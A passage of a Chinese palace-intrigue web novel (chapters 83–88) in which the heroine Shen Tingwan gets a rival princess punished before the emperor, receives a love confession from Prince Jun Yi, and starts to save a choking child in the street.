宝郡主是被气的彻底崩溃,因着沈听晚的两巴掌扇过来,头上的发髻也变得凌乱无比,整个人看上去既滑稽又疯癫:“贱人,我跟你拼了!” 她用力挣开束缚,不要命死得朝着沈听晚的身上不过去,那架势大有一副要与沈听晚同归于尽的模样。 “够了!” 台上皇帝看着下面的一阵闹剧,头疼不已,厉声呵斥道。 “都给朕住手!” 沈听晚听见皇帝的怒斥声,下一瞬便松开了手,转身一副卑躬屈膝乖巧的样子站在原地。 皇帝的一声呵斥,饶是宝郡主再想发疯,也不禁被镇住,想要拽住沈听晚长发的手也僵在了原地。 皇帝冷眼看过去,咬牙切齿道:“翊王昏迷到现在还不知道什么情况,你们却在这大呼小叫,还当着朕的面动手,还有半分女子该有的端庄吗!” 沈听晚面无表情,面对皇帝的呵斥,立马俯下身去:“臣妇一时情急,求陛下责罚。” 宝郡主此时的脸色也难看的紧,连忙收回手来,站在原地一双满是愤怒的眼恨不得把沈听晚看穿。 “罢了,翊王妃,你先随朕去看看翊王的情况。”转眼又满是阴沉的看向宝郡主,沉声说:“高宝儿,你给朕跪在这了,翊王若是醒不过来,你就给朕一直跪着!” 这场闹剧本就是宝郡主这个蠢货闯的祸事,想要栽赃沈听晚,也不知道把证据坐实了,既然没办法一举击中沈听晚,便贸然行事,在皇帝的心里,那就是其蠢如猪! 就让她跪在这里,好好想一想,自己究竟错在了哪里? 宝郡主脸上满是慌乱:“陛下,臣女……” “你住口!”不等宝郡主把话说完,皇帝便又是一声怒喝。 这下子,宝郡主也不敢再说什么,满眼不甘的跪了下去。 宝郡主垂下愤怒的双眸,满是不甘与狠意。 凭什么只有沈听晚那个贱人能去见皇叔! 她也担心皇叔的情况啊! 宝郡主刚才原本是想说,她也想一同去看皇叔的。 可话还没说出口,便遭来了皇帝的呵斥。 沈听晚冷眼看着满是不甘的宝郡主,脸上的笑意不达眼底。 声音为沉道:“高宝儿,这事儿还没完呢!” 在外大肆造她的谣,险些让她给君翊的医治受阻,还有,她和自己父亲的赌约,这些她可都记着呢! 若是那么轻易的就放过宝郡主,那岂不是叫人以为她沈听晚是个软柿子,人人可捏了! 第83章 求陛下严惩宝郡主! “哇!” 宝郡主听到沈听晚的话,突然间毫无征兆的嚎啕大哭起来。 不知道的好以为,她刚才受了多大的委屈似的呢。 宝郡主确实是觉得委屈,从小到大她一直都是高贵的宝郡主,在外面谁不得给她三分颜面,她平日里更是骄傲的要命。 可是今天,她所有的骄傲,都被沈听晚这个贱人丢在地上不断地碾压,让她感觉自己像是受了奇耻大辱一般的屈辱。 这种羞辱,还不如直接杀了她呢! 然而面对宝郡主跪坐在地上一副崩溃的嚎啕大哭,皇帝脸上的戾气更深了些,毫无怜香惜玉的喝道:“哭什么哭,你还好意思哭,这些事还不都是你一人做的孽! 来人,把她的嘴给朕堵上,朕现在不想听到她的声音!” 皇帝抬手怒指着宝郡主命令道,随即便一脸嫌恶的转身,拂袖而去。 赵启林听到皇帝的话,立马给下面的人使了个眼色。 很快,便见一个小太监手上多出来一块不知道从哪掏出来的破布,大步走到宝郡主跟前,然后动作算不上温柔的硬塞到宝郡主的嘴里。 “呜呜……呕!” 宝郡主的嘴被一块脏污不堪的破布塞住,她想反抗,可双手却被小太监死死的遏制住,让她挣扎不开。 不多时,那破布上传开的一股腥臊难闻的气味儿充斥着宝郡主整个鼻腔,恶心的连连作呕。 还没来得及离开的沈听晚,见状都忍不住浅笑出生来。 哈哈。 从一个小太监身上找出来的破布,能是从哪里掏出来的…… 见着宝郡主想吐却被破布塞住了口,那一副比哭还难看的表情,沈听晚的心情也骤然大好,转过身去,迈着轻快的步伐便跟上了皇帝的脚步一同去了偏殿。 偏殿内。 太医已经早早的赶到,正在专心的给软榻上的君翊诊着脉。 对此,沈听晚倒是还不担心,虽然医治好了君翊,但毕竟算是打断了君翊的脊骨重造,所以从脉象上看来,还是可从前没什么差别的。 太医听到身后传来动静,便也立马转头,当看到皇上,皇后以及翊王妃同时进来时,我是忙不迭的起身行礼。 “微臣参见陛下,皇后娘娘,翊王妃。” 此时,皇帝的心里还对君翊的病情犯着嘀咕,漫不经心地挥了挥手,有些焦急地问:“翊王现在情况如何?” 着急是真的,但却不是担心君翊的病情,而是想要迫切的知道,君翊的身体究竟有没有好转! 太医紧低下头去,面色有些难看的叹了口气,说:“回陛下,行业是一时气火攻心,心脉受损,导致昏迷,暂无大碍,只是……” 皇帝眉心一动,又忙道:“只是什么?” 太医欲言又止道:“只是王爷的脊柱本在一年前便损伤极其严重,本应卧床好生调养为宜,但今日贸然被人抬至软榻,从王府到皇宫,又颠簸一路,使得王爷的脊柱伤上加伤,怕是……” 后面的话,太医实在是不敢说出来,紧忙将头紧低下去。 沈听晚看了一眼皇帝,便知道皇帝是想要亲耳听到自己想要的答案,便焦急的转眼看向太医:“怕是什么?” 太医轻叹了口气:“回王妃,王爷的身子怕是好不了了……” 听见这话,沈听晚像是承受不住打击一般,连连不敢置信的向后退了两步,险些跌倒,却被皇后一把扶住。 沈听晚抬头,酸着鼻子哽咽:“多谢皇后娘娘……” 然后此时也是满眼的同情:“王妃切莫着急,世间名医无数,何况你自己就是神医谷的弟子,一定可以叫王爷平安无事的。” 沈听晚吸了吸鼻子:“是……臣妇不能着急……” 她转眼又看向软榻上的君翊,泪水却止不住的掉落:“王爷现在只有臣妇了,臣妇一定能治好王爷! 我就是后悔啊,当初在神医谷,就应该好好向师父学习医术的,也不至于现在……呜呜。” 沈听晚依靠在皇后身边,拿起手帕一边擦拭着泪水,一边哽咽地说。 那样子,就连原本装作同情沈听晚的皇后,此时心里头也不禁发出几分真心怜悯来。 皇后看了一眼沈听晚,又叹了口气,最终什么话也没说,只是抬手拍了拍沈听晚的肩膀。 而站在最前面的皇帝此时心情却格外的好,亲耳听到君翊这个瘫子这辈子都好不了的消息,比东陵打了胜仗都让他高兴。 皇帝强压下眉眼间的笑意,故作担忧:“你们好生照料翊王,还有不管翊王妃需要什么药,太医院有的都一并送去翊王府,没有的就告诉朕,朕想办法给翊王寻到!” 言辞间的着急与担忧,可是把一个好兄长的形象演的淋漓尽致。 沈听晚现在可算是明白了,不是君翊那家伙会演戏,而是整个皇室,所有人的演技都不是一般的强啊! 要不是她的内心足够强大,怕是真的应付不了这样的情形呢。 沈听晚吸了吸鼻子,缓缓上前去朝着皇帝盈盈一拜:“臣妇先替王爷谢过陛下了……” 皇帝赶忙关切的抬手虚扶一下:“翊王妃不必客气,翊王是朕的亲弟弟,朕怎么能眼睁睁的看着他这般混混一生呢,王妃需要什么,尽管向朕来提,朕定会尽力满足的。” 说着,皇帝又忍不住叹了口气,不忍的看了沈听晚一眼。 然而,沈听晚却没有起身,而是固执的跪在了皇帝脚边:“陛下,臣妇现在就有一事,还请陛下为臣妇做主!” 皇帝见状,眉心动了动:“你是想说宝郡主一事吧?” 沈听晚抬眸,眼神中含着热泪满是坚定的说:“是! 今日王爷旧伤加重,全然是因为臣妇受到诬陷,一时为臣妇着急才进宫的……”沈听晚哽咽一瞬:“若非宝郡主任性妄为,诬陷臣妇与宇世子之间有私情,王爷的伤也不可能会加重。” 沈听晚跪在地上,转头又缓缓看向一直昏迷的君翊,又继续道:“王爷清醒之前曾想陛下请旨,要严惩宝郡主,如今王爷昏迷不醒,臣妇向代王爷在求陛下,务必严惩宝郡主,求陛下恩准!” 第84章 我们回家吧 话音一落,便见沈听晚将头用力磕在地上,那架势似乎如果他不答应,她就不准备要起身似的。 “翊王妃,你快起来,今日之事全是宝郡主一人闯下的祸事,即便你不说,朕也会对宝郡主严惩不贷。” “多谢陛下。”听到皇帝的许诺,沈听晚这才起身,皇后也是个有眼力见的,见状立马亲自上前将沈听晚搀扶起来。 “你这孩子啊,本宫算是看出来了,你对王爷的用情至深,放心吧,陛下和本宫会给翊王府一个交代的。” 帝后夫妻本为一体,皇后这么说,也叫人挑不出什么错来。 “陛下。” 而此时,沈听晚刚被皇后从地上扶起来,不远处君宁宇便又上前一步,跪到皇帝面前。 皇帝抬眼看过去,更是一个头两个大。 君宁宇又在这个时候凑什么热闹啊! 刚刚安抚好沈听晚的皇帝,此时显然没有太多的耐心,满眼不耐烦的陈生开口:“宇世子有何要说?” “回陛下,臣也求陛下做主,宝郡主当中诬陷臣与皇婶,使得此事在坊间传的沸沸扬扬,陛下信任恩准臣做太子伴读,若此时不妥善处置,太子殿下的声明怕是也会因臣而受损啊。” 君宁宇开口,这么轻描淡写的几句话,便瞬间叫皇帝皇后两人重视起来。 是啊。 君宁宇成为太子伴读,可是他亲自下的旨意,若是外面传出宇世子品行不端,那岂不是在打他这个天子的脸? 想到这儿,皇帝心中是半点对宝郡主从轻发落的想法都没有了。 他沉声道:“宝郡主无端造谣,在外惹是生非,使得翊王妃与宇世子名声受损,更害得翊王重伤复发,实在罪无可恕! 来人,传朕旨意,宝郡主杖责三十,行刑后丢回长公主府,禁足三个月,责令长公主严加管教,另外今日去王府闹事的婢女侍卫不能劝阻主子生事,也不必活着了,即刻杖杀!” 这样的惩罚对于宝郡主而言,的确算不上轻的。 只不过…… 还远远没到沈听晚的预期。 “陛下。” 只见赵启林即将开口应下之际,沈听晚便抢先开口。 皇帝此时早已经被这件事闹得没什么耐心,抬眼看过去,眼神间闪过一丝不满,沉声的说:“翊王妃可还有异议?” 心里更为不悦,他的惩罚不算轻,难不成沈听晚这是要得寸进尺,非要治宝郡主于死地吗? “陛下,臣妇并无异议。 只不过……”沈听晚又话锋一转:“宝郡主曾在王府外,与家父下过赌约,若臣妇与宇世子当真又私情,家父便辞官,并且亲自进宫为臣妇求来一纸休书,带臣妇回乡思过,若此为宝郡主无端诬陷,那宝郡主便要当中在王府门外跪地磕三个响头,并且道歉三遍,也请陛下为臣妇做主,让宝郡主履行赌约。” 看玩笑,她爹嫌些为了她的事儿连官都不做了,这场赌约,不管怎么说,也必须让宝郡主履行的。 “嗯……此时朕倒是有所耳闻。”皇帝听到沈听晚提起这件事儿,眉头不禁挑了挑,眼底划过一丝不易察觉的神色一闪而过,很快便见皇帝大手一挥:“那便让宝郡主先到翊王府门外当众向翊王妃道歉,然后进宫受刑吧。” 沈听晚面上有些意外,倒是没想到皇帝答应的这么容易,面上一喜,再次俯身下去:“臣妇谢恩。” 沈听晚的话音刚落,软榻上的君翊便立马醒了过来:“唔……”他缓缓睁开眼,口中发出一道痛苦的呜咽声。 众人的视线也瞬间被君翊所吸引,皇帝的反应最快,忙不迭大步上前,坐到塌边:“翊王,你现在感觉怎么样?哪里不舒服一定要告诉皇兄,知道吗?” 君翊虚弱的动了动唇:“多谢……皇兄。” 今天的确要好好谢谢他的好皇兄呢,不然的话,那宝郡主也不可能会受到这么严厉的惩罚。 那小姑娘受得委屈,岂不是白受了。 “朕是你的皇兄,和皇兄面前你客气什么?” 皇帝一脸嗔怪地道,两人在外人看来,倒真的像是一对十分和睦的亲兄弟似的呢。 皇帝此时的心情也格外的好,这个瘫子这辈子都别想站起来了,而且可能要不了多久就会命丧黄泉,君翊的大势早在一年前就已经去了,还能成什么气候? 君翊面上不显,心里更为冷笑,他的好皇兄,还是和以前一样虚伪呢。 转眼看向沈听晚,眼底瞬间满目温柔的说:“王妃,我们……回家吧。” 在这皇宫,君翊是多一刻都不愿意呆。 更懒得去看皇帝那一副虚伪的嘴脸! “好。”沈听晚也很是配合,朝着皇帝和皇后行了礼后,便赶忙出门招呼暗祁暗蒙和几个王府侍卫进来,然后连人带软榻一起抬出了偏殿。 临走之前,沈听晚路过君宁宇的时候,脚步为顿了一下抬眼不经意打量了下君宁宇的眼神。 便见君宁宇也正看着自己,沈听晚神色顿住,在看到君宁宇脸上那一抹似笑非笑,仿佛看透一切似的了然,沈听晚心头一惊。 这个君宁宇,看上去从始至终都没有说过几句话,而却是这件事上受益最大的那个人。 君宁宇勾了勾唇,以及后退一步,朝着沈听晚屈身行礼:“侄儿恭送皇叔,皇婶。” 他确实看穿了沈听晚和翊王方才在皇帝面前是在做戏。 而如果他没猜错的话,估计他这位皇婶早就想好了要如何医治皇叔了。 一直在皇帝面前故作为难,不过是想要让皇帝放松警惕而已。 这位皇婶啊,还真是一个激灵的狐狸,把皇帝皇后都耍的团团转呢。 沈听晚看出了君宁宇脸上的表情意有所指,心中更为大惊,警惕分毫不减。 这个衡亲王世子,我真不是一个简单的人物。 胡乱朝着君宁宇点点头,便收回视线,抬脚跟着软榻出了偏殿。 一路上,沈听晚都走在软榻后面,半句话也没说,垂眸沉思着。 而软榻上的人看不到沈听晚的身影,忍不住开口:“王妃还在想那个宇世子?” 第85章 王爷是不是喜欢上我了 沈听晚回神,听到软塌上传来的声音,撇了撇嘴:“王爷还真是料事如神。” 并未否认,她确实是在想君宁宇。 君翊哼笑一声:“哎,方才看到王妃与他对视,宇世子那眼神都快黏在王妃身上了,也就本王心宽些,要是换做旁人,定觉得你们两人之间真的有什么呢!” 听着君翊的调侃,不知道是不是沈听晚的错觉,她竟然从这话当中听出了些许醋味儿来。 想到这儿,沈听晚忙摇了摇脑袋,将脑海里那些不切实际的想法驱散。 怎么可能,一定是她听错了。 对。 她和君翊连真正夫妻都算不上,顶多算是盟友,君翊那家伙怎么可能会喜欢上自己呢! “你在想什么呢?” 见着沈听晚迟迟没有开口回应,君翊忍不住又问。 沈听晚:“我在想王爷是不是喜欢上我了。” 听到君翊的问话,沈听晚还未回神,嘴变比脑袋反应速度还快,下意识竟然将心里有的想法说了出来。 此话一出,空气骤然变得寂静下来。 几个抬着软榻的侍卫更是把头埋得很低,心里头大为震撼。 他们这位王妃娘娘,也太敢说了吧! 想知道他们王爷怎么回答,好期待怎么办?? 不光是几个侍卫心里震惊,就连君翊也被沈听晚的话,问的神色顿时一瞬。 沉默片刻,君翊微动了动唇:“如果本王说 ,是呢?” “我就知道。”沈听晚自嘲一笑,她就说嘛,君翊那家伙怎么可能会喜欢上自己? 等等? 反应过来君翊说的什么的沈听晚,又瞪大了双眼:“你说什么?” 这下君翊没有在犹豫,而是坚定开口:“本王说是。” !!! 一众侍卫当场心里惊呼。 勇! 王妃娘娘勇,他们王爷更是勇上加勇啊! 这算什么? 算王爷和王妃当众告白吗? 有没有人为他们这些侍卫发生啊!!! 他们也是人啊,还没娶媳妇呢,就被怎么粗暴地硬秀了一脸恩爱。 然而,沈听晚也没好到哪里去,被君翊着突然之间的当头一棒敲得差点没一个踉跄摔到地上。 所以。 这家伙真的喜欢上她了?! “你有病吧!”反应过来的沈听晚如同受了惊吓的猫儿,瞬间炸毛。 君翊轻笑着挑眉:“本王说喜欢王妃,怎么就有病了?” 沈听晚:“……” 他们现在什么关系? 那是亲如铁的盟友啊,君翊他怎么能喜欢上自己啊。 如果不是因为面前不光只有她和君翊两人,沈听晚真的要当场咆哮了。 之后出宫的路上,沈听晚一眼不发,君翊则是心情好的不行,躺在软榻上,眼底的笑意就没下去过。 他确实喜欢上了沈听晚,就连自己也不知道是什么时候。 或许是睁开眼见到沈听晚的第一眼,那个时候,君翊就对沈听晚产生了不一般的情愫。 这么长时间,日渐相处下来,两人同榻而眠,君翊不是没有感觉的。 特别是每天晚上,小姑娘熟睡之后,一整个人都挂在他的身上,这……很难不让他对沈听晚动心的吧。 当然,君翊喜欢上沈听晚,自然不是全然因为两人同床共枕,如果不是他第一眼就看中了沈听晚,也不可能容忍小姑娘在他床边放肆这么长时间。 一路无言的出宫,暗祁暗蒙此时早早等在门外,见着一众人出来,便立马迎了上去。 “王爷,王妃。” 沈听晚脸色难看的紧,抬手指了指君翊:“把王爷抬上那辆马车。” 话音刚落,便见她裙子一撩,大步朝着另外一辆马车而去,只是那脚步看上去,却给人一种像是要逃离一般。 暗祁暗蒙两人一脸懵,两人相视一眼:“王妃娘娘这是怎么了?” 怎么和来的时候看上去不大一样啊? 这是生王爷的气了? 看着小姑娘逃也似的凌乱步伐,君翊看透不语,脸上的笑意更是不加掩藏。 君翊的心情很好,比当初在沈听晚口中得知医术成功了,很快就能痊愈的消息是还要好上许多。 今天他算是正式和小姑娘坦明了心意,他君翊喜欢上了沈听晚。 虽然他们两人的成亲看上去有些荒诞,在外人看来,或许是一场玩笑,但对于君翊而言,沈听晚在嫁给他的那一日,他便已经把沈听晚看做是自己的妻了。 他更是从未想过要和离,虽然那一日,君翊的确藏了点小心思,让沈听晚误以为两人的交易达成,不过君翊却不后悔,反而很庆幸,当时并没有答应。 沈听晚这边抬脚跳上了马车,此时才觉得自己的心脏仿佛扑通扑通跳动的极快。 君翊这突如其来的表白,是沈听晚做梦都没想到的。 高兴吗? 不高兴! 这更加让沈听晚心里坚定了要从王府收拾东西赶紧逃的决心。 君翊这家伙是什么人啊? 东陵皇叔,而且还是唯一一个活到今日的皇叔,是从九子夺嫡当中死里逃生的皇子。 他活着,身边便会有无穷无尽的危险等着他。 沈听晚是不想要这条小命了还是咋的,非要留在王府,等着被杀? 一路上,沈听晚的脑袋都是浑浑噩噩,一边想着要怎么从君翊那骗到和离书的计划,一边脑海中有不断浮现出君翊方才在皇宫里头的那些话,弄得沈听晚只觉得脑袋像是一团浆糊似的。 最终,沈听晚睁开眼,怪叫一声。 “不是,君翊这家伙他有病吧!” 沈听晚是想越觉得不对劲,她总觉得君翊当众说喜欢她,是要扰她的军心! 是想要让她打消和离的念头,是要把自己和那家伙今后锁死。 这怎么可能! 沈听晚上辈子好歹摸爬滚打那么多年,什么大风大浪没见过,虽然还没碰见过有人和她这么直白的告白吧,但知觉告诉沈听晚,她绝不能动心! 不光是君翊身边的潜在危险数不胜数,就连他这个人也是一个可怕的存在。 她要是想要在这个世上活的久一些,那就必须远离君翊! 沈听晚下定了心思,便不在纠结,她坐直了身子,压下心底的那点心动,转身抬手撩起窗帘,任由着风拂过她的面颊。 第86章 街上救人 仿佛只有这样,才能消散沈听晚心里的燥郁。 皇宫里。 皇帝将宝郡主打发出宫后,又将皇后遣走,便唯独留下君宁宇一人。 勤政殿内。 君宁宇规规矩矩的站在台下,眼神坦荡,不卑不亢,任由着皇帝的审视。 “知道朕为什么把你一人单独留下吗?”皇帝目光定定地看着台下君宁宇,随即沉声问道。 “微臣愚钝。” “哼,你愚钝?”皇帝冷哼一声:“今日这场闹剧因何而起?还需要朕说穿吗?” 听见这话,君宁宇的面上依旧一脸坦荡:“陛下,此番却是宝郡主诬陷微臣与翊王妃,微臣事先并不知情。” “你当真不知情!那日你在街上救下翊王妃,此事只有你与翊王妃之情,宝郡主是从何得知?若非你事先向宝郡主透露,凭她那蠢笨的性子,可能想到去诬陷翊王妃的主意?” 皇帝面容不善,看向君宁宇的眼神也带着几分恼怒。 君宁宇似乎早就料到皇帝因何将自己留下一般,并不惊慌,而是平静的答道:“陛下,微臣惶恐,只是宝郡主得知此事,并非微臣透露出去的,请陛下明鉴。 微臣与翊王妃并无交集,那日却是碰巧撞见翊王妃遇险儿出手相救,只是微臣从未想到,此事竟会让宝郡主也上了心。” “此事,当真不是你有意透露给宝郡主的?” 皇帝疑惑的问,眼中的怀疑却不减半分。 君宁宇微微垂首,又继续坦然道:“陛下如何此刻派人去王府周围一探究竟,便可还微臣清白。” “你的意思是,宝郡主一直暗中找人监视王府?”皇帝的脸色有些怪异的开口。 君宁宇抬眸:“昔日,宝郡主可是差一点就成为翊王妃的人。” 听见这话,皇帝的面色瞬间露出一抹不约:“这样的事,往后不要再提!” 要不是当初奸臣当道,那个前任奸相为了与君翊联盟,怎么可能会有这场荒唐的婚约。 不过庆幸的是,这场婚约最终没成,当初那个高丞相也被皇帝流放了千里,今后怕是没有翻身之日了。 “是,微臣失言了。” “行了,太后既然推举你为太子伴读,今后便好生辅佐太子,只不过,其他不该有的心思,最好是想都不要想。”皇帝嗓音微沉,更是以威慑的口吻道。 君宁宇自然能明白皇帝的意思,心里讽刺,但面上还是恭敬的开口:“是,微臣遵旨。” 不该有的心思吗? 什么是不该有的心思? 若是前面的这条路注定是一条死了,难道他还不能为自己谋得一条生路? 若没有踏上这条路,他安安稳稳只做一个无忧无虑的世子也就罢了,但是如今,太后将他推上这个位置,让他有那个机会去争上一争,他怎么可能放弃。 更何况,像他这样能够做的出杀兄弑父的卑劣之事的人都能登上皇位,他君宁宇有何不能? …… 皇宫里皇帝与君宁宇地对话,沈听晚并不知道,不过此刻,沈听晚的马车却被外面的一阵骚动堵住了去路。 “宝儿,你看是么了,别吓唬娘啊!” “我的宝儿啊,睁开眼看看娘,呜呜……” 马车外,传来一个妇人无助的哭泣声,沈听晚眉头一蹙,想也不想起身撩起门帘,面看到外面马车前方围观了不少人,面露不忍,七嘴八舌的议论着。 人群中间,便见一个看上去挺年轻的小妇人跪坐在地上,怀里抱着三五岁孩童。 孩童身子发软,瘫倒在地上,满脸尽是痛苦,整张小脸散发着青紫。 “哎,孩子太可怜了,也不知道怎么回事儿这好好的走着路,怎么就突然晕倒了呢!” “小娘子别哭了,尽快带孩子去找大夫啊,兴许这孩子还能有救。” 而此时,跪坐在地上的妇人却是什么都听不进去了,他握着自己儿子渐渐没有生气儿的手,一个劲的哭着。 “呜呜,我的孩子啊,你要是走了,娘也不活了!” 沈听晚站在马车上,看着下面那整张小脸被憋的发紫的孩子,面色瞬间一紧,立马跳下马车:“都让一让!” 暗祁下意识转头看过去,便见原本还坐在马车上的王妃,不知道什么时候,竟跳下了马车,朝着人群的方向大步跑去。 暗祁眉头紧蹙,立马下马跟了上去。 人群中迅速有人让出了一条路,沈听晚顺利来到了那对母子跟前。 她看着瘫倒在地上,脸色青紫,气息极度微弱的小男孩。 沈听晚的脸瞬间沉了下来,俯下身去,抬手翻开男孩紧闭的眼皮,又扒开他紧闭的嘴。 男孩的母亲见状,立马警惕地抓住沈听晚的手:“你要干什么?” 沈听晚脸色很是阴沉,冷声地道:“想让你孩子活命,就放手!” 面对着沈听晚冰冷的眸,男孩母亲不知道是不是因为关心自己孩子的情况,还是被沈听晚吓住了,下意识将手松开。 “你……你能救我的宝儿?” 沈听晚没有回答,而是将妇人手中的孩子抱起,靠在自己身上,下一瞬,却见沈听晚当着众人的面,将纤长的手指,放在了小男孩的口中。 男孩的喉咙深处被东西堵住,导致无法呼吸,但是那东西藏得太深,短时间内怕是取不出来。 眼看着男孩的脸色由青转白,小小的身体也渐渐失去生气。 众人的议论声又起:“哎,孩子怕是要不行了。” “是啊,看那孩子小脸憋的,还是尽快准备后事吧。” “多可惜啊,还是个小男孩,这当爹娘的该有多心疼啊。” 听着众人的议论声,刚刚被沈听晚震慑住的妇人,又突然间哇的一声大哭起来。 那哭声响亮,差点把专心给小男孩诊治的沈听晚吓了一跳。 转头满眼怒气的瞪过去,厉声喝道:“你吓哭什么,孩子还没死呢!” 她刚在正准备要探查男孩口里异物的深度,还没等试探,就被孩子她娘吓得一激灵,险些没手抖戳坏男孩的舌头。 男孩虽然昏迷过去了,但还有气,那沈听晚就能救的回来。 第87章 遭质疑?治不好我把命赔给你 被沈听晚接连两次的震慑,男孩母亲也立马噤声,我却依旧忍不住泪水啪嗒啪嗒下流,不过看到沈听晚又透过来的一记冷眼,吓的赶忙摇起双手捂住了嘴,生怕再发出一声。 整个人无措又绝望的杵在原地,看上去格外让人心疼。 见着妇人可怜的模样,沈听晚不禁软下心来,一边将孩子抱起,一边头也不抬,语气微缓了缓,安慰着:“孩子现在还有救,你再打扰我的话,可就真的不一定了。” 不远处围过来看热闹的百姓听到沈听晚的话,不禁开口嚷嚷道:“孩子既然有救,就应该快些找大夫,这小丫头能行吗?” “对啊,别到时候真把这孩子治死了,可是要背上人命的呢。” 周遭看客的话,叫男孩母亲恢复了些许理智。 是啊。 她的孩子还有救。 应该去找大夫来的。 她怎么会相信一个小姑娘的话呢? 妇人上前一步,红着眼眶抬手便打算从沈听晚的手上把孩子接过来:“这位姑娘,把孩子给我吧,现在就去带她找大夫!” 沈听晚抬眼睨向她,看得出来妇人眼底的不信,很不客气的回怼道:“现在把孩子给你,还没等到医馆,孩子就得没命! 你要是不想让你的孩子活着,我现在就把人给你!” 她也懒得再管这种闲事。 如果不是看在这孩子年纪那么小的份上,她压根就不会出手! “哼,人家是孩子的亲娘,还能害他吗,你一个毛都没长全的小丫头片子,懂什么医治,万一把孩子治死了,你能负得起这个责任吗?”人堆里又有看热闹不嫌事儿大的看客不屑的道。 沈听晚冷眼瞪过去:“惯会嘴上说说,怎么也不见你们谁去帮这位妇人把大夫请来?” 这下子,没人再开口说话了。 人就是这样,如果是看热闹,一个个的都想着往前冲,生怕错过一点,但若是让他们上前去帮忙,那这忙也是帮不了一点。 毕竟谁也不想往自己的身上找麻烦。 沈听晚冷笑一声,翻了个白眼,也懒得去与那帮人计较,转头又看向富妇人:“我就是大夫,你可以相信我,我保证能治好你的孩子。” “你拿什么保证?”妇人想也不想下意识开口质问道。 毕竟那些看热闹的人说的也没错,眼前这小姑娘年纪实在是太小了,即便是懂得医术,怕也只是个赤脚大夫。 可她的孩子还那么小,她不能拿自己孩子的命去赌啊。 沈听晚沉下一张脸来:“孩子要是活不成,我把命赔给你!” 此话一出,空气骤然变得安静了下来。 刚走上前来的暗祁听见这话瞬间大惊失色:“王妃娘娘万万不可!” “王妃?这姑娘竟然是王妃?” “哪个王妃啊,是……那个刚刚嫁给久病在床的翊王的那个王妃吗?” …… 在场众人听到暗祁的话,再抬眼看向沈听晚,眼底顿时充满了复杂之色。 人家竟然是王妃娘娘,他们方才还说那么多质疑的话。 这王妃不会记仇吧…… 暗祁此时却是半点听不进众人的议论,大步上前:“王妃娘娘,您身份尊贵,怎能说这样的话,把孩子给她吧,既然她不相信您,何必要给她的孩子医治?” 暗祁此时心里头也是愤怒的很,他们王妃娘娘好心去救人,没想到那人不领情也就罢了。还怀疑王妃的医术, “来不及了。”沈听晚沉着脸,看向暗祁:“你去让这些人站远点,本来空气就不流通,孩子现在需要呼吸新鲜空气。” 众人并不知道沈听晚口中的空气是为何物,不过暗祁听见这话,也只能无奈听命,转眼看向那妇人:“王妃娘娘出手,不会失误,若是你孩子没命,我把我的命抵给他!” 他死也好的过王妃娘娘抵命。 见着眼前的男人这样说,而且又知道沈听晚就是翊王妃,不管是因为身份的威压还是什么,妇人都不敢再反驳。 她张了张嘴,最终还是选择相信一回,抬脚向后退了两步。 暗祁见着那妇人识趣儿的让开了路,脸上的神色也缓和了不少,转头又冷眼扫向众人:“一个个是都没事儿干了吗,还不赶紧滚!” 他可没有王妃娘娘那样的好脾气,碰见这般爱看热闹的,他是惯不了一点! 暗祁的一声呵斥,哪里还有人敢不听话,纷纷向后退了两步,胆小的百姓也识趣的走了,只不过还有零星几个看热闹不要命的躲在很远的地方看着热闹。 对此,暗祁也懒得去搭理,他转身看向沈听晚,但是心里就是满是担忧。 他倒是相信王妃娘娘的医术,毕竟连他们王爷的伤都被王妃医好了,可事无绝对啊,万一王妃娘娘不小心失手了,可和那个妇人不好交代啊。 外面的一阵喧闹自然也引得了君翊的注意,只不过他没办法起身,不能亲眼出去查探情况,只能开口问向外面守着的暗蒙:“外面发生了什么事?” 暗蒙一直片刻不离的守在君翊的马车外,听见里面传来这家王爷的声音,立马转身恭敬的说:“回王爷的话,路上有个孩子晕倒了,王妃娘娘正在为那孩子医治。” “只不过,有人不相信王妃娘娘的医术……”暗蒙将自己看到的如实说给君翊来听。 君翊听见这话,眉心微动,眉头不禁拧了拧。 这小丫头,还真是喜欢管闲事。 不过也是,如果小丫头不爱管闲事的话,他的伤也好不了。 君翊想了想:“你找一个大夫过来。” 暗蒙立马紧张的道:“王爷可是觉得身体不适?” “不是本王,把那大夫找来守在王妃身边,等王妃把那个孩子治好之后,让大夫再检查一遍孩子的情况。”君翊淡淡开口说道。 暗蒙一顿,嘴角不禁动了动。 王爷这是不相信王妃娘娘的医术? 他倒是觉得没这个必要吧。 毕竟王妃娘娘的医治他们可都是见识过的,应该不会有什么闪失。 暗蒙心里虽然疑惑着,但还是听命,很快将大夫找了过来。 第88章 这到底是在救人还是杀人? 确切地说,是大夫提这个药箱子,而暗蒙却提溜着大夫的胳膊,一路轻功飞到人堆里的。 “病人在哪那,让老夫……老夫看看!” 大夫被暗蒙放在地上,还没等稳住心神,便急慌慌的开口。 一边说着,一边不忘抬手抚着自己碰碰乱蹦的小心脏。 太吓人了。 刚才那架势,差点没把他的魂儿吓出来。 他长这么大,还头一次体验人在天上飞啊,这经理惊心动魄,简直是让人终身难忘。 大夫原本在医馆里坐诊,刚给最后一个病人诊完脉,见着从门外冲进来一个男人,二话不说便把他脖颈子提溜起,可是那他吓了一大跳。 路上才知道,是街边有孩子晕倒了,这个把他“拎”出来的男人,也不是想要他的命,而是要带他来给孩子医治的。 听见暗蒙的话,大夫才放了心。 微微缓了口气,抬眼便看到依旧有人给那孩子医治了。 面上顿时露出一抹不满:“不是有人给治了吗,还用得着老夫?” 暗蒙看了大夫一眼:“站着别动,等下自然用的到你。” 暗蒙毕竟是暗卫出身,说话的语气没办法软下来,冷声僵硬的说。 大夫眉头紧蹙。 这算什么事儿啊?把他找来了,不让他给孩子医治,他在这儿等着? 他医馆里还有不少患者等着他呢好吧? 他深吸一口气,瞬间气不打一处来,捂着脖子嚷道:“要么这孩子交给我医治,要么我现在就走!” 他行医这么多年,我从来都没有遇到这么憋屈的事儿。 暗蒙脸上也露出一抹不耐烦,冷声地说:“你再叫嚷,我现在就把你打晕。” “你!”大夫还想要再说些什么,我是看着暗蒙那张冷若冰块儿的脸,瞬间吓得噤声。 残暴! 太残暴了。 大夫心里头控诉着不满,面上却窝窝囊囊的不敢再说什么。 开玩笑,眼前这家伙会武功啊,他是大夫可不是武夫,打不过这个大块头家伙。 而与此同时,沈听晚也正在为小男孩专心的医治,半点不曾分心。 周围的变化,沈听晚根本就没有发现,当他准备救人时,沈听晚就是一名足够优秀的大夫,无论在什么样的环境下,论条件有多么的恶劣,只要对得起自己的这份专业。 